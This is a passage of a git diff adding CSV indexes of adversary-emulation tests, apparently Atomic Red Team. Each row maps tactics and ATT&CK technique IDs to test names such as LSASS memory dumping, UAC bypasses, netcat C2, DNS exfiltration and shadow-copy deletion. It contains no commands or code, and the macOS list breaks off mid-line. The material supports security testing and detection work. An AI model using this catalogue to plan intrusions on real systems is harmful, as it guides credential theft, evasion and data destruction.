+defense-evasion,T1218,4,Msiexec.exe - Execute Local MSI file +defense-evasion,T1218,5,Msiexec.exe - Execute Remote MSI file +defense-evasion,T1218,6,Msiexec.exe - Execute Arbitrary DLL +defense-evasion,T1218,7,Odbcconf.exe - Execute Arbitrary DLL +defense-evasion,T1218,8,InfDefaultInstall.exe .inf Execution +defense-evasion,T1216,1,PubPrn.vbs Signed Script Bypass +defense-evasion,T1216,2,SyncAppvPublishingServer Signed Script PowerShell Command Execution +defense-evasion,T1216,3,manage-bde.wsf Signed Script Command Execution +defense-evasion,T1151,1,Space After Filename +defense-evasion,T1099,1,Set a file's access timestamp +defense-evasion,T1099,2,Set a file's modification timestamp +defense-evasion,T1099,3,Set a file's creation timestamp +defense-evasion,T1099,4,Modify file timestamps using reference file +defense-evasion,T1099,5,Windows - Modify file creation timestamp with PowerShell +defense-evasion,T1099,6,Windows - Modify file last modified timestamp with PowerShell +defense-evasion,T1099,7,Windows - Modify file last access timestamp with PowerShell +defense-evasion,T1127,1,MSBuild Bypass Using Inline Tasks +defense-evasion,T1102,1,Reach out to C2 Pointer URLs via command_prompt +defense-evasion,T1102,2,Reach out to C2 Pointer URLs via powershell +defense-evasion,T1220,1,MSXSL Bypass using local files +defense-evasion,T1220,2,MSXSL Bypass using remote files +defense-evasion,T1220,3,WMIC bypass using local XSL file +defense-evasion,T1220,4,WMIC bypass using remote XSL file +privilege-escalation,T1015,1,Attaches Command Prompt as a Debugger to a List of Target Processes +privilege-escalation,T1103,1,Install AppInit Shim +privilege-escalation,T1138,1,Application Shim Installation +privilege-escalation,T1138,2,New shim database files created in the default shim database directory +privilege-escalation,T1138,3,Registry key creation and/or modification events for SDB +privilege-escalation,T1088,1,Bypass UAC using Event Viewer (cmd) +privilege-escalation,T1088,2,Bypass UAC using Event Viewer (PowerShell) +privilege-escalation,T1088,3,Bypass UAC using Fodhelper +privilege-escalation,T1088,4,Bypass UAC using Fodhelper - PowerShell +privilege-escalation,T1088,5,Bypass UAC using ComputerDefaults (PowerShell) +privilege-escalation,T1088,6,Bypass UAC by Mocking Trusted Directories +privilege-escalation,T1038,1,DLL Search Order Hijacking - amsi.dll +privilege-escalation,T1519,1,Persistance with Event Monitor - emond +privilege-escalation,T1044,1,File System Permissions Weakness +privilege-escalation,T1179,1,Hook PowerShell TLS Encrypt/Decrypt Messages +privilege-escalation,T1183,1,IFEO Add Debugger +privilege-escalation,T1183,2,IFEO Global Flags +privilege-escalation,T1160,1,Launch Daemon +privilege-escalation,T1050,1,Service Installation +privilege-escalation,T1050,2,Service Installation PowerShell +privilege-escalation,T1502,1,Parent PID Spoofing using PowerShell +privilege-escalation,T1150,1,Plist Modification +privilege-escalation,T1504,1,Append malicious start-process cmdlet +privilege-escalation,T1055,1,Process Injection via mavinject.exe +privilege-escalation,T1055,2,Process Injection via PowerSploit +privilege-escalation,T1055,3,Shared Library Injection via /etc/ld.so.preload +privilege-escalation,T1055,4,Shared Library Injection via LD_PRELOAD +privilege-escalation,T1055,5,Process Injection via C# +privilege-escalation,T1055,6,svchost writing a file to a UNC path +privilege-escalation,T1053,1,At.exe Scheduled task +privilege-escalation,T1053,2,Scheduled task Local +privilege-escalation,T1053,3,Scheduled task Remote +privilege-escalation,T1053,4,Powershell Cmdlet Scheduled Task +privilege-escalation,T1058,1,Service Registry Permissions Weakness +privilege-escalation,T1166,1,Make and modify binary from C source +privilege-escalation,T1166,2,Set a SetUID flag on file +privilege-escalation,T1166,3,Set a SetGID flag on file +privilege-escalation,T1165,1,add file to Local Library StartupItems +privilege-escalation,T1169,1,Sudo usage +privilege-escalation,T1206,1,Unlimited sudo cache timeout +privilege-escalation,T1206,2,Disable tty_tickets for sudo caching +privilege-escalation,T1100,1,Web Shell Written to Disk +impact,T1531,1,Change User Password - Windows +impact,T1531,2,Delete User - Windows +impact,T1485,1,Windows - Delete Volume Shadow Copies +impact,T1485,2,Windows - Delete Windows Backup Catalog +impact,T1485,3,Windows - Disable Windows Recovery Console Repair +impact,T1485,4,Windows - Overwrite file with Sysinternals SDelete +impact,T1485,5,macOS/Linux - Overwrite file with DD +impact,T1485,6,Windows - Delete Backup Files +impact,T1490,1,Windows - Delete Volume Shadow Copies +impact,T1490,2,Windows - Delete Volume Shadow Copies via WMI +impact,T1490,3,Windows - Delete Windows Backup Catalog +impact,T1490,4,Windows - Disable Windows Recovery Console Repair +impact,T1490,5,Windows - Delete Volume Shadow Copies via WMI with PowerShell +impact,T1496,1,macOS/Linux - Simulate CPU Load with Yes +impact,T1489,1,Windows - Stop service using Service Controller +impact,T1489,2,Windows - Stop service using net.exe +impact,T1489,3,Windows - Stop service by killing process +impact,T1529,1,Shutdown System - Windows +impact,T1529,2,Restart System - Windows +impact,T1529,3,Restart System via `shutdown` - macOS/Linux +impact,T1529,4,Shutdown System via `shutdown` - macOS/Linux +impact,T1529,5,Restart System via `reboot` - macOS/Linux +impact,T1529,6,Shutdown System via `halt` - Linux +impact,T1529,7,Reboot System via `halt` - Linux +impact,T1529,8,Shutdown System via `poweroff` - Linux +impact,T1529,9,Reboot System via `poweroff` - Linux +discovery,T1087,1,Enumerate all accounts +discovery,T1087,2,View sudoers access +discovery,T1087,3,View accounts with UID 0 +discovery,T1087,4,List opened files by user +discovery,T1087,5,Show if a user account has ever logged in remotely +discovery,T1087,6,Enumerate users and groups +discovery,T1087,7,Enumerate users and groups +discovery,T1087,8,Enumerate all accounts +discovery,T1087,9,Enumerate all accounts via PowerShell +discovery,T1087,10,Enumerate logged on users +discovery,T1087,11,Enumerate logged on users via PowerShell +discovery,T1010,1,List Process Main Windows - C# .NET +discovery,T1217,1,List Mozilla Firefox Bookmark Database Files on Linux +discovery,T1217,2,List Mozilla Firefox Bookmark Database Files on macOS +discovery,T1217,3,List Google Chrome Bookmark JSON Files on macOS +discovery,T1217,4,List Google Chrome Bookmarks on Windows with powershell +discovery,T1217,5,List Google Chrome Bookmarks on Windows with command prompt +discovery,T1482,1,Windows - Discover domain trusts with dsquery +discovery,T1482,2,Windows - Discover domain trusts with nltest +discovery,T1482,3,Powershell enumerate domains and forests +discovery,T1083,1,File and Directory Discovery (cmd.exe) +discovery,T1083,2,File and Directory Discovery (PowerShell) +discovery,T1083,3,Nix File and Diectory Discovery +discovery,T1083,4,Nix File and Directory Discovery 2 +discovery,T1046,1,Port Scan +discovery,T1046,2,Port Scan Nmap +discovery,T1135,1,Network Share Discovery +discovery,T1135,2,Network Share Discovery command prompt +discovery,T1135,3,Network Share Discovery PowerShell +discovery,T1135,4,View available share drives +discovery,T1040,1,Packet Capture Linux +discovery,T1040,2,Packet Capture macOS +discovery,T1040,3,Packet Capture Windows Command Prompt +discovery,T1040,4,Packet Capture PowerShell +discovery,T1201,1,Examine password complexity policy - Ubuntu +discovery,T1201,2,Examine password complexity policy - CentOS/RHEL 7.x +discovery,T1201,3,Examine password complexity policy - CentOS/RHEL 6.x +discovery,T1201,4,Examine password expiration policy - All Linux +discovery,T1201,5,Examine local password policy - Windows +discovery,T1201,6,Examine domain password policy - Windows +discovery,T1201,7,Examine password policy - macOS +discovery,T1069,1,Permission Groups Discovery +discovery,T1069,2,Basic Permission Groups Discovery Windows +discovery,T1069,3,Permission Groups Discovery PowerShell +discovery,T1069,4,Elevated group enumeration using net group +discovery,T1057,1,Process Discovery - ps +discovery,T1057,2,Process Discovery - tasklist +discovery,T1012,1,Query Registry +discovery,T1018,1,Remote System Discovery - net +discovery,T1018,2,Remote System Discovery - net group Domain Computers +discovery,T1018,3,Remote System Discovery - nltest +discovery,T1018,4,Remote System Discovery - ping sweep +discovery,T1018,5,Remote System Discovery - arp +discovery,T1018,6,Remote System Discovery - arp nix +discovery,T1018,7,Remote System Discovery - sweep +discovery,T1018,8,Remote System Discovery - nslookup +discovery,T1063,1,Security Software Discovery +discovery,T1063,2,Security Software Discovery - powershell +discovery,T1063,3,Security Software Discovery - ps +discovery,T1063,4,Security Software Discovery - Sysmon Service +discovery,T1063,5,Security Software Discovery - AV Discovery via WMI +discovery,T1518,1,Find and Display Internet Explorer Browser Version +discovery,T1518,2,Applications Installed +discovery,T1082,1,System Information Discovery +discovery,T1082,2,System Information Discovery +discovery,T1082,3,List OS Information +discovery,T1082,4,Linux VM Check via Hardware +discovery,T1082,5,Linux VM Check via Kernel Modules +discovery,T1082,6,Hostname Discovery (Windows) +discovery,T1082,7,Hostname Discovery +discovery,T1082,8,Windows MachineGUID Discovery +discovery,T1016,1,System Network Configuration Discovery +discovery,T1016,2,List Windows Firewall Rules +discovery,T1016,3,System Network Configuration Discovery +discovery,T1016,4,System Network Configuration Discovery (TrickBot Style) +discovery,T1016,5,List Open Egress Ports +discovery,T1049,1,System Network Connections Discovery +discovery,T1049,2,System Network Connections Discovery with PowerShell +discovery,T1049,3,System Network Connections Discovery Linux & MacOS +discovery,T1033,1,System Owner/User Discovery +discovery,T1033,2,System Owner/User Discovery +discovery,T1007,1,System Service Discovery +discovery,T1007,2,System Service Discovery - net.exe +discovery,T1124,1,System Time Discovery +discovery,T1124,2,System Time Discovery - PowerShell +credential-access,T1098,1,Admin Account Manipulate +credential-access,T1139,1,Search Through Bash History +credential-access,T1110,1,Brute Force Credentials +credential-access,T1003,1,Powershell Mimikatz +credential-access,T1003,2,Gsecdump +credential-access,T1003,3,Windows Credential Editor +credential-access,T1003,4,"Registry dump of SAM, creds, and secrets" +credential-access,T1003,5,Dump LSASS.exe Memory using ProcDump +credential-access,T1003,6,Dump LSASS.exe Memory using Windows Task Manager +credential-access,T1003,7,Offline Credential Theft With Mimikatz +credential-access,T1003,8,Dump Active Directory Database with NTDSUtil +credential-access,T1003,9,Create Volume Shadow Copy with NTDS.dit +credential-access,T1003,10,Copy NTDS.dit from Volume Shadow Copy +credential-access,T1003,11,GPP Passwords (findstr) +credential-access,T1003,12,GPP Passwords (Get-GPPPassword) +credential-access,T1003,13,LSASS read with pypykatz +credential-access,T1003,14,Registry parse with pypykatz +credential-access,T1081,1,Extract Browser and System credentials with LaZagne +credential-access,T1081,2,Extract passwords with grep +credential-access,T1081,3,Extracting passwords with findstr +credential-access,T1081,4,Access unattend.xml +credential-access,T1214,1,Enumeration for Credentials in Registry +credential-access,T1214,2,Enumeration for PuTTY Credentials in Registry +credential-access,T1179,1,Hook PowerShell TLS Encrypt/Decrypt Messages +credential-access,T1056,1,Input Capture +credential-access,T1141,1,AppleScript - Prompt User for Password +credential-access,T1141,2,PowerShell - Prompt User for Password +credential-access,T1208,1,Request for service tickets +credential-access,T1142,1,Keychain +credential-access,T1040,1,Packet Capture Linux +credential-access,T1040,2,Packet Capture macOS +credential-access,T1040,3,Packet Capture Windows Command Prompt +credential-access,T1040,4,Packet Capture PowerShell +credential-access,T1174,1,Install and Register Password Filter DLL +credential-access,T1145,1,Private Keys +credential-access,T1145,2,Discover Private SSH Keys +credential-access,T1145,3,Copy Private SSH Keys with CP +credential-access,T1145,4,Copy Private SSH Keys with rsync +execution,T1155,1,AppleScript +execution,T1191,1,CMSTP Executing Remote Scriptlet +execution,T1191,2,CMSTP Executing UAC Bypass +execution,T1059,1,Command-Line Interface +execution,T1223,1,Compiled HTML Help Local Payload +execution,T1223,2,Compiled HTML Help Remote Payload +execution,T1196,1,Control Panel Items +execution,T1173,1,Execute Commands +execution,T1173,2,Execute PowerShell script via Word DDE +execution,T1118,1,CheckIfInstallable method call +execution,T1118,2,InstallHelper method call +execution,T1118,3,InstallUtil class constructor method call +execution,T1118,4,InstallUtil Install method call +execution,T1118,5,InstallUtil Uninstall method call - /U variant +execution,T1118,6,InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant +execution,T1118,7,InstallUtil HelpText method call +execution,T1118,8,InstallUtil evasive invocation +execution,T1152,1,Launchctl +execution,T1168,1,Cron - Replace crontab with referenced file +execution,T1168,2,Cron - Add script to cron folder +execution,T1168,3,Event Monitor Daemon Persistence +execution,T1170,1,Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject +execution,T1170,2,Mshta calls a local VBScript file to launch notepad.exe +execution,T1170,3,Mshta executes VBScript to execute malicious command +execution,T1170,4,Mshta Executes Remote HTML Application (HTA) +execution,T1086,1,Mimikatz +execution,T1086,2,BloodHound +execution,T1086,3,Obfuscation Tests +execution,T1086,4,Mimikatz - Cradlecraft PsSendKeys +execution,T1086,5,Invoke-AppPathBypass +execution,T1086,6,PowerShell Add User +execution,T1086,7,Powershell MsXml COM object - no prompt +execution,T1086,8,Powershell MsXml COM object - with prompt +execution,T1086,9,Powershell XML requests +execution,T1086,10,Powershell invoke mshta.exe download +execution,T1086,11,Powershell Invoke-DownloadCradle +execution,T1086,12,PowerShell Fileless Script Execution +execution,T1086,13,PowerShell Downgrade Attack +execution,T1086,14,NTFS Alternate Data Stream Access +execution,T1121,1,Regasm Uninstall Method Call Test +execution,T1121,2,Regsvs Uninstall Method Call Test +execution,T1117,1,Regsvr32 local COM scriptlet execution +execution,T1117,2,Regsvr32 remote COM scriptlet execution +execution,T1117,3,Regsvr32 local DLL execution +execution,T1085,1,Rundll32 execute JavaScript Remote Payload With GetObject +execution,T1085,2,Rundll32 execute VBscript command +execution,T1085,3,Rundll32 advpack.dll Execution +execution,T1085,4,Rundll32 ieadvpack.dll Execution +execution,T1085,5,Rundll32 syssetup.dll Execution +execution,T1085,6,Rundll32 setupapi.dll Execution +execution,T1053,1,At.exe Scheduled task +execution,T1053,2,Scheduled task Local +execution,T1053,3,Scheduled task Remote +execution,T1053,4,Powershell Cmdlet Scheduled Task +execution,T1064,1,Create and Execute Bash Shell Script +execution,T1064,2,Create and Execute Batch Script +execution,T1035,1,Execute a Command as a Service +execution,T1035,2,Use PsExec to execute a command on a remote host +execution,T1218,1,mavinject - Inject DLL into running process +execution,T1218,2,SyncAppvPublishingServer - Execute arbitrary PowerShell code +execution,T1218,3,Register-CimProvider - Execute evil dll +execution,T1218,4,Msiexec.exe - Execute Local MSI file +execution,T1218,5,Msiexec.exe - Execute Remote MSI file +execution,T1218,6,Msiexec.exe - Execute Arbitrary DLL +execution,T1218,7,Odbcconf.exe - Execute Arbitrary DLL +execution,T1218,8,InfDefaultInstall.exe .inf Execution +execution,T1216,1,PubPrn.vbs Signed Script Bypass +execution,T1216,2,SyncAppvPublishingServer Signed Script PowerShell Command Execution +execution,T1216,3,manage-bde.wsf Signed Script Command Execution +execution,T1153,1,Execute Script using Source +execution,T1153,2,Execute Script using Source Alias +execution,T1151,1,Space After Filename +execution,T1154,1,Trap +execution,T1127,1,MSBuild Bypass Using Inline Tasks +execution,T1204,1,OSTap Style Macro Execution +execution,T1204,2,Maldoc choice flags command execution +execution,T1204,3,OSTAP JS version +execution,T1047,1,WMI Reconnaissance Users +execution,T1047,2,WMI Reconnaissance Processes +execution,T1047,3,WMI Reconnaissance Software +execution,T1047,4,WMI Reconnaissance List Remote Services +execution,T1047,5,WMI Execute Local Process +execution,T1047,6,WMI Execute Remote Process +execution,T1028,1,Enable Windows Remote Management +execution,T1028,2,PowerShell Lateral Movement +execution,T1028,3,WMIC Process Call Create +execution,T1028,4,Psexec +execution,T1028,5,Invoke-Command +execution,T1220,1,MSXSL Bypass using local files +execution,T1220,2,MSXSL Bypass using remote files +execution,T1220,3,WMIC bypass using local XSL file +execution,T1220,4,WMIC bypass using remote XSL file +lateral-movement,T1155,1,AppleScript +lateral-movement,T1037,1,Logon Scripts +lateral-movement,T1037,2,Scheduled Task Startup Script +lateral-movement,T1037,3,Logon Scripts - Mac +lateral-movement,T1037,4,Supicious vbs file run from startup Folder +lateral-movement,T1037,5,Supicious jse file run from startup Folder +lateral-movement,T1037,6,Supicious bat file run from startup Folder +lateral-movement,T1075,1,Mimikatz Pass the Hash +lateral-movement,T1075,2,crackmapexec Pass the Hash +lateral-movement,T1097,1,Mimikatz Kerberos Ticket Attack +lateral-movement,T1076,1,RDP +lateral-movement,T1076,2,RDPto-DomainController +lateral-movement,T1105,1,rsync remote file copy (push) +lateral-movement,T1105,2,rsync remote file copy (pull) +lateral-movement,T1105,3,scp remote file copy (push) +lateral-movement,T1105,4,scp remote file copy (pull) +lateral-movement,T1105,5,sftp remote file copy (push) +lateral-movement,T1105,6,sftp remote file copy (pull) +lateral-movement,T1105,7,certutil download (urlcache) +lateral-movement,T1105,8,certutil download (verifyctl) +lateral-movement,T1105,9,Windows - BITSAdmin BITS Download +lateral-movement,T1105,10,Windows - PowerShell Download +lateral-movement,T1105,11,OSTAP Worming Activity +lateral-movement,T1077,1,Map admin share +lateral-movement,T1077,2,Map Admin Share PowerShell +lateral-movement,T1077,3,Copy and Execute File with PsExec +lateral-movement,T1077,4,Execute command writing output to local Admin Share +lateral-movement,T1028,1,Enable Windows Remote Management +lateral-movement,T1028,2,PowerShell Lateral Movement +lateral-movement,T1028,3,WMIC Process Call Create +lateral-movement,T1028,4,Psexec +lateral-movement,T1028,5,Invoke-Command +collection,T1123,1,using device audio capture commandlet +collection,T1119,1,Automated Collection Command Prompt +collection,T1119,2,Automated Collection PowerShell +collection,T1119,3,Recon information for export with PowerShell +collection,T1119,4,Recon information for export with Command Prompt +collection,T1115,1,Utilize Clipboard to store or execute commands from +collection,T1115,2,PowerShell +collection,T1074,1,Stage data from Discovery.bat +collection,T1074,2,Stage data from Discovery.sh +collection,T1074,3,Zip a Folder with PowerShell for Staging in Temp +collection,T1005,1,Search macOS Safari Cookies +collection,T1114,1,T1114 Email Collection with PowerShell +collection,T1056,1,Input Capture +collection,T1113,1,Screencapture +collection,T1113,2,Screencapture (silent) +collection,T1113,3,X Windows Capture +collection,T1113,4,Import +exfiltration,T1002,1,Compress Data for Exfiltration With PowerShell +exfiltration,T1002,2,Compress Data for Exfiltration With Rar +exfiltration,T1002,3,Data Compressed - nix - zip +exfiltration,T1002,4,Data Compressed - nix - gzip Single File +exfiltration,T1002,5,Data Compressed - nix - tar Folder or File +exfiltration,T1022,1,Data Encrypted with zip and gpg symmetric +exfiltration,T1022,2,Compress Data and lock with password for Exfiltration with winrar +exfiltration,T1022,3,Compress Data and lock with password for Exfiltration with winzip +exfiltration,T1022,4,Compress Data and lock with password for Exfiltration with 7zip +exfiltration,T1030,1,Data Transfer Size Limits +exfiltration,T1048,1,Exfiltration Over Alternative Protocol - SSH +exfiltration,T1048,2,Exfiltration Over Alternative Protocol - SSH +exfiltration,T1048,3,Exfiltration Over Alternative Protocol - HTTP +exfiltration,T1048,4,Exfiltration Over Alternative Protocol - ICMP +exfiltration,T1048,5,Exfiltration Over Alternative Protocol - DNS +command-and-control,T1090,1,Connection Proxy +command-and-control,T1090,2,portproxy reg key +command-and-control,T1132,1,Base64 Encoded data. +command-and-control,T1219,1,TeamViewer Files Detected Test on Windows +command-and-control,T1105,1,rsync remote file copy (push) +command-and-control,T1105,2,rsync remote file copy (pull) +command-and-control,T1105,3,scp remote file copy (push) +command-and-control,T1105,4,scp remote file copy (pull) +command-and-control,T1105,5,sftp remote file copy (push) +command-and-control,T1105,6,sftp remote file copy (pull) +command-and-control,T1105,7,certutil download (urlcache) +command-and-control,T1105,8,certutil download (verifyctl) +command-and-control,T1105,9,Windows - BITSAdmin BITS Download +command-and-control,T1105,10,Windows - PowerShell Download +command-and-control,T1105,11,OSTAP Worming Activity +command-and-control,T1071,1,Malicious User Agents - Powershell +command-and-control,T1071,2,Malicious User Agents - CMD +command-and-control,T1071,3,Malicious User Agents - Nix +command-and-control,T1071,4,DNS Large Query Volume +command-and-control,T1071,5,DNS Regular Beaconing +command-and-control,T1071,6,DNS Long Domain Query +command-and-control,T1071,7,DNS C2 +command-and-control,T1071,8,OSTap Payload Download +command-and-control,T1032,1,OpenSSL C2 +command-and-control,T1095,1,ICMP C2 +command-and-control,T1095,2,Netcat C2 +command-and-control,T1095,3,Powercat C2 +command-and-control,T1065,1,Testing usage of uncommonly used port with PowerShell +command-and-control,T1065,2,Testing usage of uncommonly used port +command-and-control,T1102,1,Reach out to C2 Pointer URLs via command_prompt +command-and-control,T1102,2,Reach out to C2 Pointer URLs via powershell +initial-access,T1193,1,Download Phishing Attachment - VBScript diff --git a/atomics/Indexes/Indexes-CSV/linux-index.csv b/atomics/Indexes/Indexes-CSV/linux-index.csv new file mode 100644 index 00000000..414f8a31 --- /dev/null +++ b/atomics/Indexes/Indexes-CSV/linux-index.csv @@ -0,0 +1,149 @@ +Tactic,Technique #,Test #,Test Name +persistence,T1156,1,Add command to .bash_profile +persistence,T1156,2,Add command to .bashrc +persistence,T1176,1,Chrome (Developer Mode) +persistence,T1176,2,Chrome (Chrome Web Store) +persistence,T1176,3,Firefox +persistence,T1136,1,Create a user account on a Linux system +persistence,T1136,5,Create a new user in Linux with `root` UID and GID. +persistence,T1158,1,Create a hidden file in a hidden directory +persistence,T1215,1,Linux - Load Kernel Module via insmod +persistence,T1168,1,Cron - Replace crontab with referenced file +persistence,T1168,2,Cron - Add script to cron folder +persistence,T1168,3,Event Monitor Daemon Persistence +persistence,T1166,1,Make and modify binary from C source +persistence,T1166,2,Set a SetUID flag on file +persistence,T1166,3,Set a SetGID flag on file +persistence,T1501,1,Create Systemd Service +persistence,T1154,1,Trap +impact,T1485,5,macOS/Linux - Overwrite file with DD +impact,T1496,1,macOS/Linux - Simulate CPU Load with Yes +impact,T1529,3,Restart System via `shutdown` - macOS/Linux +impact,T1529,4,Shutdown System via `shutdown` - macOS/Linux +impact,T1529,5,Restart System via `reboot` - macOS/Linux +impact,T1529,6,Shutdown System via `halt` - Linux +impact,T1529,7,Reboot System via `halt` - Linux +impact,T1529,8,Shutdown System via `poweroff` - Linux +impact,T1529,9,Reboot System via `poweroff` - Linux +discovery,T1087,1,Enumerate all accounts +discovery,T1087,2,View sudoers access +discovery,T1087,3,View accounts with UID 0 +discovery,T1087,4,List opened files by user +discovery,T1087,5,Show if a user account has ever logged in remotely +discovery,T1087,6,Enumerate users and groups +discovery,T1217,1,List Mozilla Firefox Bookmark Database Files on Linux +discovery,T1083,3,Nix File and Diectory Discovery +discovery,T1083,4,Nix File and Directory Discovery 2 +discovery,T1046,1,Port Scan +discovery,T1046,2,Port Scan Nmap +discovery,T1135,1,Network Share Discovery +discovery,T1040,1,Packet Capture Linux +discovery,T1201,1,Examine password complexity policy - Ubuntu +discovery,T1201,2,Examine password complexity policy - CentOS/RHEL 7.x +discovery,T1201,3,Examine password complexity policy - CentOS/RHEL 6.x +discovery,T1201,4,Examine password expiration policy - All Linux +discovery,T1069,1,Permission Groups Discovery +discovery,T1057,1,Process Discovery - ps +discovery,T1018,6,Remote System Discovery - arp nix +discovery,T1018,7,Remote System Discovery - sweep +discovery,T1082,2,System Information Discovery +discovery,T1082,3,List OS Information +discovery,T1082,4,Linux VM Check via Hardware +discovery,T1082,5,Linux VM Check via Kernel Modules +discovery,T1082,7,Hostname Discovery +discovery,T1016,3,System Network Configuration Discovery +discovery,T1049,3,System Network Connections Discovery Linux & MacOS +discovery,T1033,2,System Owner/User Discovery +credential-access,T1139,1,Search Through Bash History +credential-access,T1081,2,Extract passwords with grep +credential-access,T1040,1,Packet Capture Linux +credential-access,T1145,2,Discover Private SSH Keys +credential-access,T1145,3,Copy Private SSH Keys with CP +credential-access,T1145,4,Copy Private SSH Keys with rsync +defense-evasion,T1009,1,Pad Binary to Change Hash - Linux/macOS dd +defense-evasion,T1146,1,Clear Bash history (rm) +defense-evasion,T1146,2,Clear Bash history (echo) +defense-evasion,T1146,3,Clear Bash history (cat dev/null) +defense-evasion,T1146,4,Clear Bash history (ln dev/null) +defense-evasion,T1146,5,Clear Bash history (truncate) +defense-evasion,T1146,6,Clear history of a bunch of shells +defense-evasion,T1090,1,Connection Proxy +defense-evasion,T1089,1,Disable iptables firewall +defense-evasion,T1089,2,Disable syslog +defense-evasion,T1089,3,Disable Cb Response +defense-evasion,T1089,4,Disable SELinux +defense-evasion,T1107,1,Delete a single file - Linux/macOS +defense-evasion,T1107,2,Delete an entire folder - Linux/macOS +defense-evasion,T1107,3,Overwrite and delete a file with shred +defense-evasion,T1107,12,Delete Filesystem - Linux +defense-evasion,T1222,8,chmod - Change file or folder mode (numeric mode) +defense-evasion,T1222,9,chmod - Change file or folder mode (symbolic mode) +defense-evasion,T1222,10,chmod - Change file or folder mode (numeric mode) recursively +defense-evasion,T1222,11,chmod - Change file or folder mode (symbolic mode) recursively +defense-evasion,T1222,12,chown - Change file or folder ownership and group +defense-evasion,T1222,13,chown - Change file or folder ownership and group recursively +defense-evasion,T1222,14,chown - Change file or folder mode ownership only +defense-evasion,T1222,15,chown - Change file or folder ownership recursively +defense-evasion,T1222,16,chattr - Remove immutable file attribute +defense-evasion,T1148,1,Disable history collection +defense-evasion,T1148,2,Mac HISTCONTROL +defense-evasion,T1158,1,Create a hidden file in a hidden directory +defense-evasion,T1070,3,rm -rf +defense-evasion,T1070,4,Overwrite Linux Mail Spool +defense-evasion,T1070,5,Overwrite Linux Log +defense-evasion,T1130,1,Install root CA on CentOS/RHEL +defense-evasion,T1036,2,Masquerading as Linux crond process. +defense-evasion,T1027,1,Decode base64 Data into Script +defense-evasion,T1055,3,Shared Library Injection via /etc/ld.so.preload +defense-evasion,T1055,4,Shared Library Injection via LD_PRELOAD +defense-evasion,T1014,1,Loadable Kernel Module based Rootkit +defense-evasion,T1014,2,Loadable Kernel Module based Rootkit +defense-evasion,T1064,1,Create and Execute Bash Shell Script +defense-evasion,T1099,1,Set a file's access timestamp +defense-evasion,T1099,2,Set a file's modification timestamp +defense-evasion,T1099,3,Set a file's creation timestamp +defense-evasion,T1099,4,Modify file timestamps using reference file +lateral-movement,T1105,1,rsync remote file copy (push) +lateral-movement,T1105,2,rsync remote file copy (pull) +lateral-movement,T1105,3,scp remote file copy (push) +lateral-movement,T1105,4,scp remote file copy (pull) +lateral-movement,T1105,5,sftp remote file copy (push) +lateral-movement,T1105,6,sftp remote file copy (pull) +collection,T1074,2,Stage data from Discovery.sh +collection,T1113,3,X Windows Capture +collection,T1113,4,Import +exfiltration,T1002,3,Data Compressed - nix - zip +exfiltration,T1002,4,Data Compressed - nix - gzip Single File +exfiltration,T1002,5,Data Compressed - nix - tar Folder or File +exfiltration,T1022,1,Data Encrypted with zip and gpg symmetric +exfiltration,T1030,1,Data Transfer Size Limits +exfiltration,T1048,1,Exfiltration Over Alternative Protocol - SSH +exfiltration,T1048,2,Exfiltration Over Alternative Protocol - SSH +exfiltration,T1048,3,Exfiltration Over Alternative Protocol - HTTP +exfiltration,T1048,5,Exfiltration Over Alternative Protocol - DNS +execution,T1059,1,Command-Line Interface +execution,T1168,1,Cron - Replace crontab with referenced file +execution,T1168,2,Cron - Add script to cron folder +execution,T1168,3,Event Monitor Daemon Persistence +execution,T1064,1,Create and Execute Bash Shell Script +execution,T1153,1,Execute Script using Source +execution,T1153,2,Execute Script using Source Alias +execution,T1154,1,Trap +command-and-control,T1090,1,Connection Proxy +command-and-control,T1132,1,Base64 Encoded data. +command-and-control,T1105,1,rsync remote file copy (push) +command-and-control,T1105,2,rsync remote file copy (pull) +command-and-control,T1105,3,scp remote file copy (push) +command-and-control,T1105,4,scp remote file copy (pull) +command-and-control,T1105,5,sftp remote file copy (push) +command-and-control,T1105,6,sftp remote file copy (pull) +command-and-control,T1071,3,Malicious User Agents - Nix +command-and-control,T1065,2,Testing usage of uncommonly used port +privilege-escalation,T1055,3,Shared Library Injection via /etc/ld.so.preload +privilege-escalation,T1055,4,Shared Library Injection via LD_PRELOAD +privilege-escalation,T1166,1,Make and modify binary from C source +privilege-escalation,T1166,2,Set a SetUID flag on file +privilege-escalation,T1166,3,Set a SetGID flag on file +privilege-escalation,T1169,1,Sudo usage +privilege-escalation,T1206,1,Unlimited sudo cache timeout +privilege-escalation,T1206,2,Disable tty_tickets for sudo caching diff --git a/atomics/Indexes/Indexes-CSV/macos-index.csv b/atomics/Indexes/Indexes-CSV/macos-index.csv new file mode 100644 index 00000000..4aa94f06 --- /dev/null +++ b/atomics/Indexes/Indexes-CSV/macos-index.csv @@ -0,0 +1,160 @@ +Tactic,Technique #,Test #,Test Name +persistence,T1156,1,Add command to .bash_profile +persistence,T1156,2,Add command to .bashrc +persistence,T1176,1,Chrome (Developer Mode) +persistence,T1176,2,Chrome (Chrome Web Store) +persistence,T1176,3,Firefox +persistence,T1136,2,Create a user account on a MacOS system +persistence,T1519,1,Persistance with Event Monitor - emond +persistence,T1158,1,Create a hidden file in a hidden directory +persistence,T1158,2,Mac Hidden file +persistence,T1158,5,Hidden files +persistence,T1158,6,Hide a Directory +persistence,T1158,7,Show all hidden files +persistence,T1159,1,Launch Agent +persistence,T1160,1,Launch Daemon +persistence,T1152,1,Launchctl +persistence,T1168,1,Cron - Replace crontab with referenced file +persistence,T1168,2,Cron - Add script to cron folder +persistence,T1168,3,Event Monitor Daemon Persistence +persistence,T1037,3,Logon Scripts - Mac +persistence,T1150,1,Plist Modification +persistence,T1163,1,rc.common +persistence,T1164,1,Re-Opened Applications +persistence,T1164,2,Re-Opened Applications +persistence,T1166,1,Make and modify binary from C source +persistence,T1166,2,Set a SetUID flag on file +persistence,T1166,3,Set a SetGID flag on file +persistence,T1165,1,add file to Local Library StartupItems +persistence,T1154,1,Trap +impact,T1485,5,macOS/Linux - Overwrite file with DD +impact,T1496,1,macOS/Linux - Simulate CPU Load with Yes +impact,T1529,3,Restart System via `shutdown` - macOS/Linux +impact,T1529,4,Shutdown System via `shutdown` - macOS/Linux +impact,T1529,5,Restart System via `reboot` - macOS/Linux +discovery,T1087,1,Enumerate all accounts +discovery,T1087,2,View sudoers access +discovery,T1087,3,View accounts with UID 0 +discovery,T1087,4,List opened files by user +discovery,T1087,6,Enumerate users and groups +discovery,T1087,7,Enumerate users and groups +discovery,T1217,2,List Mozilla Firefox Bookmark Database Files on macOS +discovery,T1217,3,List Google Chrome 